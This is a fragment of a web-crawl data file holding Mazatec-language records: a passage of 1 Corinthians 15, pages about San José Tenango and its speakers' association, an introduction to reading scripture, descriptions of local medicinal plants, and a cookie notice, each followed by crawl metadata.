s'ín chíya na̱chrjein‑la̱. 9 'A̱n‑ná xi ìsa̱ 'ñó nangui tìjna̱‑la̱ kóho̱tjín jñà xi̱ta̱ xi tsibíxáya‑la̱ Jesús. Skanda mìkiì ok'ìn‑na nga k'oa̱s'ín k'oín‑na; nga 'a̱án kiìtji̱ngui kondra̱‑la̱ jñà xi̱ta̱ na̱xa̱ndá‑la̱ Cristo. 10 Ta̱nga jè kjo̱ndaà‑la̱ Nainá ndaà tsasìko̱‑na; k'oa̱á komà‑ne nga 'a̱n tsibíxáya‑na. Jè kjo̱ndaà‑la̱, mìtsà tà kjo̱tjò kitsjaà‑na. Ta̱nga 'a̱n, ìsa̱á 'ñó kisìxá mì k'oa̱‑ne koni ngats'iì xi̱ta̱‑la̱ xi i'nga. Kixi̱í kjoa̱, mìtsà nga'ñó ts'a̱n, kjo̱ndaà ts'e̱é Nainá. 11 Tsà 'a̱n‑ná, ko̱ tsà jñà xi̱ta̱‑la̱ xi i'nga xi ndaà síxá, ta̱nga jè xi chjí‑la̱ nga k'oa̱ s'ín nokjoàya‑je̱n, koa̱ jñò, k'oa̱á s'ín mokjeiín‑nò.\nK'e̱ nga kjoa̱áya‑la̱ jñà xi̱ta̱ xi jye k'en\n12 K'oa̱á s'ín tínokjoáya nga jè Cristo jaáyajiìn‑la̱ xi̱ta̱ xi jye k'en, ta̱nga, ¿mé‑ne tjín i'nga‑ne xi̱ta̱ xinguio̱o xi tsò: \"Jñà xi̱ta̱ xi jye k'en mì ti̱ kiì kjoa̱áya‑la̱.\"? 13 Tsà mìkiì kjoa̱áya‑la̱ xi̱ta̱ xi jye k'en, ti̱koa̱á jè Cristo, mì‑la tsà kixi̱ kjoa̱ nga jaáya‑la̱. 14 Tsà mìkiì jaáya‑la̱ Cristo, jñà 'én xi nokjoàya‑je̱n ni̱mé‑la chjí‑la̱, ti̱koa̱á ni̱mé‑la chjí‑la̱ koni s'ín mokjeiín‑nò. 15 Ti̱koa̱á ngaje̱n, xi̱ta̱ ndisoó kítjokàngui‑je̱n i̱t'aà ts'e̱ Nainá, nga̱ k'oa̱á s'ín nokjoàya‑je̱n 'én‑la̱ Nainá nga bixón‑je̱n: \"Jè Nainá kisìkjaáya‑la̱ Cristo.\" Nga tsà jñà mik'en mìkiì kjoa̱áya‑la̱, mì‑la tsà kixi̱ kjoa̱ nga kisìkjaáya‑la̱ Cristo. 16 Tsà jñà xi̱ta̱ xi jye k'en mìkiì kjoa̱áya‑la̱, ti̱koa̱á jè Cristo mì‑la tsà kixi̱ kjoa̱ nga jaáya‑la̱. 17 Jè Cristo, tsà mìkiì jaáya‑la̱, ni̱mé‑la chjí‑la̱ koni s'ín mokjeiín‑nò i̱t'aà ts'e̱, tákó ya̱á‑la titsa̱jnajñoò jé‑nò. 18 Ti̱koa̱á jñà xi̱ta̱ xi jye k'en nga kòkjeiín‑la̱ i̱t'aà ts'e̱ Cristo, jngoò k'aá‑la kichijà, tsà mì jaáya‑la̱ Cristo. 19 Jè kjoa̱ xi chiñà‑lá i̱t'aà ts'e̱ Cristo, tsà tà i̱í i̱sò'nde kjoe̱het'aà, jñá‑la xi nguì xi̱ta̱ i̱ma̱ 'mì‑ná kó ngats'iì xi̱ta̱ xi tjín i̱sò'nde.\n20 Ta̱nga nguì kixi̱í kjoa̱ nga jè Cristo jaáyaá‑la̱ i̱t'aà ts'e̱ kjoa̱ biyaà. K'oa̱á ngaya‑la̱ koni tsojmì xi majchá ítjòn, nga jè Cristo jaáya ítjòn‑la̱ ngats'iì xi̱ta̱ xi i̱skan kjoa̱áya‑la̱ [nga mì ti̱ kiì ki̱yá‑ne]. 21 Koni s'ín komà nga i̱t'aà ts'e̱ jngoò xi̱ta̱ kjòts'ia̱ nga biyaà xi̱ta̱, k'oa̱á ti̱s'ín komà nga i̱t'aà ts'e̱ jngoò xi̱ta̱ j'iì nga kjoa̱áya‑la̱ xi̱ta̱ xi jye k'en. 22 Koni s'ín ma nga biyaà ngats'iì xi̱ta̱ xi i̱t'aà ts'e̱ tje̱‑la̱ Adán kits'iìn, k'oa̱á ti̱s'ín ma nga kjoa̱áyaá‑la̱ ngats'iì xi̱ta̱ xi i̱t'aà ts'e̱ Cristo ts'iìn xi̱tse̱‑ne. 23 Ta̱nga jngoò ìjngoò 'ncha ndi̱yá‑né nga kjoa̱áya‑la̱ koni s'ín oko̱‑la̱. Jè Cristo, tíjna ítjòn nga jaáya‑la̱; k'e̱ nga kjoi̱í ìjngoò k'a Cristo, k'e̱é kjoa̱áya‑la̱ xi xi̱ta̱ ts'e̱. 24 Cristo, ítjòn si̱ìkjehesòn ngats'iì xi kondra̱ fì‑la̱, ngats'iì xi títsa̱jna ítjòn, xi tjín‑la̱ nga'ñó ko̱ xi otíxoma. I̱kjoàn jè Cristo si̱ìnga̱tsja kjo̱tíxoma‑la̱ Nainá xi Na̱'èn‑ná ma; k'e̱é kjoe̱het'aà i̱sò'nde. 25 Mochjeén‑né nga jè Cristo kàtatíxoma skanda k'e̱ nga jye si̱ìkítsa̱jnangui yije ndso̱ko̱ jñà xi kondra̱‑la̱. 26 Ko̱ jè kondra̱‑la̱ xi fehet'aà‑ne nga chi̱ja, jé kjoa̱ biyaà. 27 Ni̱ta̱ mé xi tjín, Nainá, ya̱á kisìkítsa̱jnangui yije ndso̱ko̱ Cristo. Jè tíhotíxoma yije‑la̱. Ta̱nga mìtsà tsò‑ne kjoa̱ nga jè Nainá, ya̱á tíjnangui ndso̱ko̱ Cristo. Nga jè sobá Nainá xi kisìkítsa̱jnangui ndso̱ko̱ ni̱ta̱ mé xi tjín. 28 K'e̱ nga jye ya̱ títsa̱jnangui yije ndso̱ko̱ Cristo ni̱ta̱ mé xi tjín, jè Cristo, nga Ki'ndí‑la̱ Nainá ma, ti̱koa̱á nangui si̱ìkíjna yijo‑la̱ nga nguixko̱n Nainá nga jè sobà Nainá tsibítsa̱jnangui ndso̱ko̱ Cristo ni̱ta̱ mé xi tjín, mé‑ne nga jè Nainá jngoò k'aá jè kíjna ítjòn‑la̱ ni̱ta̱ mé kjoa̱‑ne.\n29 Ta̱nga tsà jñà xi̱ta̱ xi jye k'en mì ti̱ kiì kjoa̱áya‑la̱, jñà xi̱ta̱ xi i̱t'aà ts'e̱ mik'en ma‑ne bautizar, ¿kó s'ín síkítsjeèn? ¿Mé‑ne i̱t'aà ts'e̱ mik'en ma‑ne bautizar, tsà kixi̱ kjoa̱ nga mì ti̱ kiì kjoa̱áya‑la̱ xi̱ta̱? 30 Ko̱ ngaje̱n, ¿mé kjoa̱‑ne nga na̱chrjein nchijòn binchaxkón‑la̱je̱n yijo‑naje̱n, tsà mì ti̱ kiì kjoa̱áya‑la̱ xi̱ta̱? 31 Ndí 'ndsè ko̱ tichjaá, k'oa̱á xan‑nò nga nguì kixi̱í kjoa̱ nga na̱chrjein nchijòn tjín‑na kjo̱xkón tsà ya̱ ki̱yá, koni s'ín nga nguì kixi̱í kjoa̱ nga matsja‑na i̱t'aà tsa̱jòn nga ngásòn mokjeiín‑ná i̱t'aà ts'e̱ Na̱'èn‑ná Jesucristo. 32 Tsà tà jñà kjoa̱ ts'e̱ i̱sò'nde‑né nga kiskaàn‑koa̱a xi̱ta̱ koni tsà xa ján Éfeso, ¿mé xi kisìkijne? Tsà jñà xi̱ta̱ xi jye k'en mì ti̱ kiì kjoa̱áya‑la̱, ti̱koa̱á‑ne: \"Ki̱chiaá, s'ioa̱á nga nchijòn‑lè ki̱yá‑ná.\"\n33 Kì yá xi̱ta̱ xi kona̱cha̱n‑nò i̱t'aà ts'e̱ kjoa̱ koi. Nga tjín jngoò 'én xi tsò: \"Jñà xi̱ta̱ xi tsjahijtakoa̱á xi mìkiì ndaà s'ín, jñà síkits'ón‑jiìn kjoa̱ xi ndaà tjín koni s'ín titsa̱nìjchá yijo‑ná.\" 34 Ndaà ti̱kítsjeèn i̱t'aà ts'e̱ kjoa̱ koi; kì tà tsjaà jé binchaàtsjioò. Nga tjín i'nga xi̱ta̱ xinguio̱o xi mìkiì beèxkon Nainá. K'oa̱á xan‑nò mé‑ne nga kàtasobà‑nò.\nKó kjoàn ko̱ma mik'en k'e̱ nga kjoa̱áya‑la̱\n35 Tsà koi na̱chrjein‑la̱ tjín i'nga xi̱ta̱ xi tsò: \"¿Kós'ín ko̱ma nga kjoa̱áya‑la̱ xi̱ta̱ xi jye k'en? ¿Kó kjoàn yijo xi ki̱tjokàjiìn‑ko̱?\" 36 ¡Mé tà tòndo̱‑nò! K'e̱ nga 'bè tje̱, jñà no̱jmé nga sihijiìn, biyaà‑né, mé‑ne nga ki̱so̱ xi̱tse̱‑ne jno̱, nga ìjngoò k'a kítsa̱jnakon. 37 K'e̱ nga 'bè tje̱, mìtsà jñà xi jye jno̱ bìtje̱e; tà jñà no̱jmé bìtje̱e, o xi trigo‑né. 38 Ta̱nga jè Nainá, k'oa̱á kjoàn s'ín koni s'ín mejèn‑la̱; k'oa̱á kjoàn s'ín nga jngoò ìjngoò ska̱ya xojmá koni kjoàn tje̱‑la̱. 39 Jñà yijo, mìtsà ngásòn kjoàn. Yijo‑la̱ xi̱ta̱, kj'ei̱í kjoàn; yijo‑la̱ cho̱, kj'ei̱í kjoàn; yijo‑la̱ ti̱n, kj'ei̱í kjoàn; yijo‑la̱ ni̱se, kj'ei̱í kjoàn. 40 Koni choòn i̱ i̱sò'nde nga tjín yijo xi kj'ei̱í s'ín tsejèn, k'oa̱á ti choòn ngajmiì nga tjín xi kj'ei̱í s'ín tsejèn. Mìtsà ta ngásòn tsejèn xi tjín ngajmiì ko̱ xi tjín i̱sò'nde. 41 Jè ts'oí kj'ei̱í s'ín tsejèn, jè sá kj'ei̱í s'ín tsejèn, jñà ni'ño kj'ei̱í s'ín tsejèn. K'a kj'ei̱í, k'a kj'ei̱í s'ín tsejèn nga jngoò ìjngoò sko̱ya.\n42 K'oa̱á ti̱s'ín ma nga kjoa̱áya‑la̱ xi̱ta̱ xi jye k'en. Jè yijo xi sihijiìn, bits'on‑né, ta̱nga jè yijo xi kjoa̱áya‑la̱, mì ti̱ kiì ki̱ts'ón‑ne. 43 Sihijiìn‑né xi nìmé chjí‑la̱; jè xi kjoa̱áya‑la̱ jeya‑né. Xi sihijiìn, yijo indaà‑né; xi kjoa̱áya‑la̱ tjín‑la̱ nga'ñó. 44 Jè yijo xi sihijiìn, ta̱xki̱ yijo‑né, ts'e̱ i̱sò'nde‑né. Yijo xi kjoa̱áya‑la̱, yijo xi̱tse̱‑né, ts'e̱é Ini̱ma̱ Tsjeè‑la̱ Nainá. Tjín xi ta̱xki̱ yijo, ti̱koa̱ tjín xi tsjá Ini̱ma̱ Tsjeè‑la̱ Nainá.\n45 K'oa̱á s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: \"Jè xi̱ta̱ x'i̱n tjòn xi ki'mì Adán, jngoò xi xi̱ta̱ komà xi tsibìjnakon.\" Ta̱nga [jè Cristo], jngoò ini̱ma̱ xi síkítsa̱jnakon xi̱ta̱, nga jè j'iì ngajo‑la̱ Adán nga jyehet'aà‑ne kjoa̱. 46 Ta̱nga jè xi ini̱ma̱, mìtsà jè j'iì ítjòn; jè j'iì ítjòn xi ta̱xki̱ yijo ts'e̱ i̱sò'nde, i̱skaán j'iì xi ini̱ma̱. 47 Jè xi̱ta̱ x'i̱n xi tjòn, i̱ i̱t'aà nangui ts'e̱; ni'ndeé kisindaà‑ne. Jè xi̱ta̱ x'i̱n xi ma‑ne jò, ngajmiì ts'e̱, ya̱á inchrobà‑ne, [nga jè xi Na̱'èn‑ná]. 48 Ngats'iì xi̱ta̱ xi i̱ i̱sò'nde ts'e̱, k'oa̱á kjoàn yijo‑la̱ koni kji ts'e̱ Adán nga ni'ndeé kisindaà‑ne. Ngats'iì xi ngajmiì kítsa̱jna, k'oa̱á kjoàn ko̱ma yijo‑la̱ koni kji ts'e̱ Cristo xi ngajmiì inchrobà‑ne. 49 I̱'ndei̱, jñá, k'oa̱á kjoàn tsejèn yijo‑ná koni kji xi ni'nde kisindaà‑ne; nga komà i̱skan, k'oa̱á kjoàn ko̱tsejèn yijo‑ná koni kji xi ngajmiì j'iì‑ne.\n50 Ndí 'ndsè, k'oa̱á xan‑nò jè yijo‑ná nga jní tjín‑la̱ mìkiì ma kjoa̱has'en‑jiìn ñánda tíhotíxoma Nainá. Ti̱koa̱á jè yijo‑ná xi bi'ndoya mìkiì ok'ìn‑la̱ nga ya̱ kjoa̱has'en‑jiìn ñánda tjín xi mìkiì bi'ndoya. 51 Kèno̱jmí jngoò‑nò kjoa̱'ma ts'e̱ Nainá: Jñá xi xi̱ta̱‑la̱ Cristo 'mì‑ná, mìtsà ngats'iaá nga ki̱yá, ta̱nga ngats'iì‑ná ta jngoò tjò kjoa̱tjìya‑ná, 52 k'oa̱á ngaya‑la̱ koni k'e̱ nga tsíx'a̱á koa̱ bíchjoà xkoaán, ti̱k'e̱é‑ne nga ski̱ndàya chrjo trompeta xi fehet'aà‑ne. K'e̱ nga kjo̱ne chrjo trompeta, jñà mik'en kjoa̱áya‑la̱, mì ti̱ kiì ki̱'ndo‑ne ni̱ta̱ kjé‑ne. Koa̱ jñá kjoa̱tjìya‑ná. 53 Jè yijo‑ná nga biyaà ko̱ nga bi'ndo, mochjeén‑né nga tjoé jngoò‑la̱ yijo xi mì ti̱ kiì ki̱yá‑ne ko̱ mì ti̱ kiì ki̱'ndo‑ne ni̱ta̱ kjé‑ne. 54 K'e̱ nga k'oa̱s'ín ko̱ma nga jè yijo‑ná tjoé jngoò‑la̱ yijo xi mì ti̱ kiì ki̱yá‑ne ko̱ mì ti̱ kiì ki̱'ndo‑ne ni̱ta̱ kjé‑ne, k'e̱é ki̱tasòn koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: \"Jè kjoa̱ xi síkijne jngoò k'aá síchija kjoa̱biyaà. 55 Ji̱ xi kjoa̱ biyaà 'mì‑lè, ¿ñánda‑ne nga kinìkijni? ¿Ñánda tíjna na'yá‑lè xi ma‑la̱ sík'en xi̱ta̱?\" 56 Jè na'yá xi tjín‑la̱ kjoa̱ biyaà, jé kjoa̱ ts'e̱ jé. Ko̱ jè nga'ñó xi tjín‑la̱ jè kjoa̱ ts'e̱ jé, jé kjo̱tíxoma. 57 Ndaà chjí‑la̱ Nainá nga jè tsjá‑ná nga'ñó xi i̱t'aà ts'e̱ Jesucristo xi otíxoma‑ná nga nìkijne‑lá kjoa̱ biyaà ko̱ kjoa̱ ts'e̱ jé.\n58 Jñò ndí 'ndsè xi matsjake̱‑nò, kixi̱ ti̱tsa̱jna. Ni̱yá xi si̱ìkjatjìya‑la̱ kjo̱hítsjeèn‑nò. Kjit'aà na̱chrjein ìsa̱ 'ñó ti̱xá‑là Na̱'èn‑ná. Nga̱ tíjiìn‑nò nga jè xá xi 'nè xi ts'e̱ Na̱'èn‑ná, mìtsà tà kjo̱tjò.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/maaNT\/1CO15.htm","date":"2022-01-18T07:17:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320300805.79\/warc\/CC-MAIN-20220118062411-20220118092411-00302.warc.gz","language":"maa","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000087022781372}","num_words":1483,"character_repetition_ratio":0.081,"word_repetition_ratio":0.009,"special_characters_ratio":0.248,"stopwords_ratio":0.31,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Tjín‑le̱ chjo̱ta̱ xi nchja̱‑ni naxinandá ye̱ xi kji nga én‑le̱ (UNTI)\nI̱ na̱xi̱nandá ye̱ jàn ciento kao̱ jàn kan kao̱‑ni ño én tjín xi ñaki i̱ nchja̱‑ni i̱ naxinandá ye̱ kꞌoa̱ chrjaꞌaòn jaò millón chjo̱ta̱ xi nchja̱ én‑le̱. Koi̱ kjoa̱ nga jè jtín‑le̱ jè chjo̱ta̱ xi nchja̱‑ni na̱xinandá ye̱ xi kji nga én‑le̱ AC -UNTI‑ koi̱ xá nꞌia‑ji̱n nga kàtamachjèn kꞌoa̱ nga kàtatjosa‑le̱ nganꞌión jè én‑ná.\nJè xá xi kisꞌenda‑ni je kꞌia̱ nga jè xi koi én je nchja̱ koansjaì‑le̱ ya̱ internet jña‑nile̱ xi tsꞌe̱ to̱ jña‑ni nga tjió jngotjíjtsa sonꞌnde kꞌoa̱ nga tsì kàtasíchajin én‑le̱ kao̱ jña‑ni tsꞌe.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/sanjosetenango.net\/mau\/tj%C3%ADn%E2%80%91le%CC%B1-chjo%CC%B1ta%CC%B1-xi-nchja%CC%B1%E2%80%91ni-naxinand%C3%A1-ye%CC%B1-xi-kji-nga-%C3%A9n%E2%80%91le%CC%B1-unti","date":"2023-02-02T02:17:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499954.21\/warc\/CC-MAIN-20230202003408-20230202033408-00213.warc.gz","language":"maa","language_score":0.9618909359,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 0.9618909358978271, \"maj_Latn_score\": 0.03149929270148277}","num_words":99,"character_repetition_ratio":0.103,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.253,"flagged_words_ratio":0.0,"lang_id_score":0.97,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"San José Tenango\nJè én xi Tenango tsò ꞌnde xi tjínchꞌoá ndai tsò‑nile̱. Koi̱ kꞌoa̱ ꞌmi‑ni nga ya̱ sòn tíjna kꞌoa̱ nga nìndò ncha ngotjondaì‑le̱. Na̱xintsje nchja̱‑ni xi tíjna ya̱ nga ya̱ ngakìxi̱‑le̱ jña tjo‑ni tsꞌoí ya̱ ꞌnde ye̱. Jè ꞌnde‑ná jngo ciendo kao̱ ñachán ño jmi kao̱ chrjaꞌaòn jaò kilometro teyà. Jnchi ncha̱‑ni kꞌoa̱ ya̱ ma chjinchrókao̱ ndá xó, campana, ni̱ngo tsè, ndá chrjao̱, ngijbi, nchinchró kao̱ te̱jao̱. Jngo ciento kao̱ chrja aòn jngo ꞌnde tjín‑le̱ kꞌoa̱ chrja‑aòn jàn jmi kao̱ ño ciento kao̱ jàn kan kao̱ chrja‑aòn jàn chjo̱ta̱ tjín‑le̱ xi yánchjìn ñajan jmi kao̱ aòn ciento kao̱ ñachan ñajan ma‑ni kꞌoa̱ xi chjo̱ta̱ xꞌin jin jmi kao̱ ñajan ciento kao̱ kan ñajan ma‑ni, josꞌin nga kótꞌayasòn jè chikòn jó tjí chjo̱ta̱ tjín nga jngó jngó ꞌnde, kꞌoa̱ meè to̱ jtsí machon nga jngo nó.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/sanjosetenango.net\/mau\/%EA%9E%8Cnde-ncho%C3%A1","date":"2023-02-02T01:30:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499954.21\/warc\/CC-MAIN-20230202003408-20230202033408-00727.warc.gz","language":"maa","language_score":0.9451312423,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"maa_Latn_score\": 0.945131242275238, \"mau_Latn_score\": 0.03964077681303024}","num_words":137,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.203,"stopwords_ratio":0.146,"flagged_words_ratio":0.0,"lang_id_score":0.947,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Niná kisikꞌéjnaná jè énle̱ xi xo̱n tjìtꞌa, xi jè Sènnrji̱n Tsje kisìꞌise̱nle̱ jè chjo̱ta̱ xi kiski, xi kjaꞌaì kjaꞌaì nó kiski nga jngò jngò xo̱n. Kuiì xo̱n jèbi xi tsóyaná ꞌyáni Niná kꞌoa̱ jmé xi mele̱ xi tꞌatsꞌaàn.\nXi menaji̱n kuinì nga ngatsꞌi chjo̱ta̱ énná katanchrꞌoéle̱ Niná nga énná, kuiì kjoa̱ nga lìtsá to̱ tìchjijìn énle̱ Niná, kꞌoa̱ti̱ tìsinyá kicha jméni nga kꞌoa̱ti̱ katanoꞌyànile̱.\nI̱bi koa̱n kuinòꞌyàlai̱ je jta̱ xi je tjió nda, sokòlì énndale̱ Jesucristo, kꞌoati̱ sokòlì énle̱ Niná xi tjìtꞌa ya kjoa̱tèxoma jchà.\nTi̱nòꞌyàlai̱ jè énndale̱ Jesucristo\nJeè tjiónda nga ño énndale̱ Jesucristo jmèni nga kuinòꞌyànilai̱. I̱ ngi ni koa̱n kuisenèlai̱ jmèni kuichoje̱nni ya kicha̱li̱.\nÉnle̱ Niná xi nroà ya kjoa̱tèxoma jchà\nChrjaꞌaòn jaó én xi nroàtꞌa ya énle̱ Niná xi kuitsoyalì jmè xi mele̱ Niná xi tꞌatsa̱n xi chjo̱ta̱ ꞌmìná.\nTise̱nnaì én xi tjió i̱ ngini tsà melì kuichonjai̱n:","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/sanjosetenango.net\/mau\/%C3%A9n%E2%80%91le%CC%B1-nin%C3%A1-xi-ma-no%EA%9E%8Cya%E2%80%91l%C3%A8-nga-%C3%A9n%E2%80%91n%C3%A1","date":"2023-03-28T04:48:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296948765.13\/warc\/CC-MAIN-20230328042424-20230328072424-00171.warc.gz","language":"maa","language_score":0.9774230123,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"maa_Latn_score\": 0.9774230122566223, \"mau_Latn_score\": 0.013154789805412292}","num_words":142,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.204,"flagged_words_ratio":0.0,"lang_id_score":0.979,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Xka̱ xki\nI̱ ꞌnde‑na nkjìn jnkoya xka̱ xki tjin xi kisichjèn chjo̱ta̱ jchíngà‑ná kisischjèn kꞌoa̱ tjín kꞌa xi to̱ jo machjèn saꞌnda ndꞌai, kꞌoa̱ i̱ kꞌoinya kꞌa‑laìjin kꞌoa̱ jósꞌin machjèn nga jngo njngo.\nJngo yá ngꞌa xi jngo axo aòn metro ngꞌa ma, kꞌoa̱ je yá‑le̱ tixꞌa̱ngà kꞌoa̱ sase chroa sꞌi̱n tsen. Jè xka̱‑le̱ aòn kꞌoa̱ jìn nchrji̱ì tjín‑le̱ nga sen‑le̱ niñò yꞌa, ya̱ ndai̱‑le̱ xka̱. Jè na̱xo̱‑le̱ tsjen ntjín, kꞌoa̱ jè to̱‑le̱ naꞌyá ndai̱ koa̱n kꞌoa̱ cha sꞌi̱n tsen.\nXka̱ yá to̱chó:\nJósꞌìn machjèn: Kꞌia̱ machjèn nga chꞌindꞌaì‑ná kꞌoa̱ tsà kàsaténchꞌan‑ná, jè xka̱ yá to̱cho chroa bꞌetjé jkoaà kao̱ jngo najño sꞌe̱nꞌión‑ni kꞌoa̱‑ti sꞌe̱tꞌa yao‑le̱ jè xi tìmꞌen jmé‑ni nga kàtatjondá‑ni kꞌoa̱ xi mangotjon‑ni tjoxìn‑le̱ ndꞌai.\nJngo xka̱ xi nchroa ngiꞌnde xi na̱nga físꞌeñen jama‑le̱, jè tonchaò‑le̱ xka̱ jè ꞌmba kjoan kꞌoa̱ chan sꞌin tsen kꞌoa̱ njen bao, jè xka̱‑le̱ yao̱xkon kjoa̱n, jè xi jè jcha fíꞌndo to̱ nga xki ní bitjo kꞌoa̱ bꞌetsꞌèn xi kjaꞌaì.\nTo baò\nJósꞌìn machjèn: Basenkao̱ ntsà kꞌia̱ nga chan‑ná kꞌoa̱ tsà chꞌin kinetjon‑ná.\nJósꞌin sꞌenda: Tjosje jè tonchaò‑le̱ xi je ma sanejon kꞌia̱ nixkoa̱ xi je ma ꞌyoꞌya kꞌoa̱ kꞌia̱ níkꞌa xi je ma ꞌyoà tsà jngo kꞌoa̱ tsà jaò chotsin nga jngo ni̱chrjin.\nJngo yá xi to ba‑le̱ xi me nga kjinda nga tjin i̱ ꞌnde‑ná, tsà ño kꞌoa̱ tsà aòn nanga ngꞌa ma, siné sase sꞌin tsen naxó‑le̱ kꞌoa̱ ꞌndí kjoa̱n, kjoejon kjoa̱n yá‑le̱ kꞌoa̱ chan sꞌin tsen kꞌoa̱ jè to‑le̱ ma chine.\nXka̱ yáma:\nJósꞌin machjèn: Ma síchjèn tsà ꞌya xi chꞌin chꞌan tjin‑le̱, tsà ꞌya xi aònꞌya‑le̱, tsà ꞌya xi tjótꞌaò‑le̱ kꞌoa̱ tsà kꞌoa̱tji‑jin ninda‑le̱, tsà ꞌya xi cha̱àn kjima‑le̱, tsà nchangi jin yao̱‑le̱ kꞌoa̱ kꞌia̱ nga cha̱àn ma‑le̱ jè yáchjin.\nJósꞌin sꞌenda: Jin kꞌoa̱ tsà te xka̱‑le̱ yáma sꞌexo nga jngo niso nandá kꞌoa̱ xi je ma ni̱kꞌéjnanchꞌan kꞌoa̱ m achoa choa ꞌyo‑jian nga jngo ni̱chrjin.\nJè xka̱ je me nga kjinda nga sꞌe i̱ ꞌndená, jaò kꞌoa̱ tsà jàn nanga ngꞌa ma, kꞌoa̱ jè yá ndsa xka̱ ꞌndí kjoa̱n xi sꞌe‑le̱, kꞌoa̱ nꞌió nkjì to ba‑le kao̱ naxó xi sꞌetjen bꞌangi kꞌoa̱ kꞌia̱ nga njion naskananje̱n kꞌoa̱ ma chine jè xka̱‑le̱.\nNdia sja:\nJósꞌin machjèn: Koi̱ ma machjèn tsà kꞌia̱ nga kjine jko̱à kꞌo a̱tsà chꞌindꞌai‑ná.\nJósꞌin sꞌenda: Jè xka̱ ndia sja jnobéya‑ñá kao̱ ndsa kꞌoa̱‑ti̱ ma ꞌyoꞌya kꞌoa̱ tsà maì nitè‑jian xi je ma bꞌejin ndá‑jian kꞌoa̱ koi̱ bindoya‑ñá.\nYá je sꞌejna tjí kꞌoa̱ nkjì nó ma‑le̱ kꞌoa̱ mangꞌa tsà jaò kꞌoa̱ tsà jà nanga. Kꞌoa̱ jè xka̱‑le̱ chꞌo ndo kjoa̱n kꞌoa̱ tjon, kꞌoa̱ kꞌia̱ ba‑le̱ naxó nga chandoà kao̱ nga chanchꞌan kꞌoa̱ naskánajen naxó‑le̱ kꞌoa̱tjín xi chrjoa, xi chjiꞌnde kao̱ xi sine sꞌin tsen kꞌoa̱ ꞌmba koa̱n naxó‑le̱ kꞌoa̱ sꞌetjenbꞌangi.\nYá naxó chroa:\nJósꞌin machjèn: Kꞌia̱ nga sꞌa chꞌo kjoa̱n naxó xi nchróa‑le̱ nandá sꞌe̱‑le̱ ya‑le̱, kꞌoa̱ koi xi ma bꞌetjengia xkoan, tsà tjaꞌaìn kjima‑le̱, tsà aòn kꞌoa̱ tsà tje kàtsaongi.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/sanjosetenango.net\/mau\/xka-xki-xi-tj%C3%ADn-i%CC%B1-tsa%CC%B1%C3%A0n","date":"2023-03-28T05:02:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296948765.13\/warc\/CC-MAIN-20230328042424-20230328072424-00350.warc.gz","language":"maa","language_score":0.9942857623,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"maa_Latn_score\": 0.9942857623100281}","num_words":476,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.21,"stopwords_ratio":0.139,"flagged_words_ratio":0.0,"lang_id_score":0.996,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Jósꞌìn koa̱n koachjèn\nJꞌosꞌìn koa̱nchjén kꞌoa̱ jósꞌìn si̱nyáxkó tsà jme xi sì i̱\nTꞌìnyanaíji̱n jñà koa̱ chjìlaìji̱n\nTsà jme xi kuìnnaìnaji̱n axo̱ tsà jme xi chjònanginaìji̱n, jè jaꞌaìnli̱ to̱ choatse̱e sꞌejnatjaò. Lìkui ꞌya xi kꞌoai̱le̱‑\nTsà ji xi kailì sꞌejnatjaò jè jaꞌaìnli̱ koa̱an kꞌoa̱siì kꞌia nga sikasènnaìji̱n énli̱\nXi satiótjaó ya kichali̱\nJè \"xi satiótjaó ya kichali̱\" kuinì xi machjèn kꞌia̱ nga fitjasꞌai̱n i̱. Basènkao̱ kichali̱ jméni nga nda sixáni kꞌia nga fitjasꞌai̱n i̱\nTjìn kꞌa tsojmì xi xìn kichjuèni jmè nga koa̱n chótse̱nilai̱ i̱, kꞌoa̱ti̱ sijèli̱ xi satiótjaó ya kichali̱. Tsá kailì, jiì xi sìni, i bi̱ chótse̱nlai̱ josꞌìn aboutcookies.org Tsá tsì chjoaì xi satiótjaó ya kichali̱, chaàle̱ tsá tsí koa̱n chótse̱nlai̱ kꞌalai̱ xi nya i̱.\nXi kòtꞌaji̱n\nKꞌoa̱ati̱ nìchjaìnji̱n xi sinyátjaò ya kichali̱ xi xìn faꞌai ni, joni xi ya nroàni ya Google Analytics kao̱ ya Facebook Pixel, jmèni nga jchanìji̱n jósꞌìn machjèn jè xá jèbi kꞌoa̱ jmèni nga jcha̱nìji̱n jósꞌìn ngìsꞌanda koa̱ntse̱n. Kuiì bꞌètjoaìji̱n jósꞌìn nichjaìn, jókji tse kꞌoa̱ kꞌiá to̱ nìchjaìn, yaà sinyátjaò ya kicha xi tjióle̱ Google kao̱ Facebook ya na̱xi̱nandá ngoandà\nKꞌia̱ nga bitjasꞌai̱n i̱bi lìkui jme xi batꞌiótjoaìji̱n xi 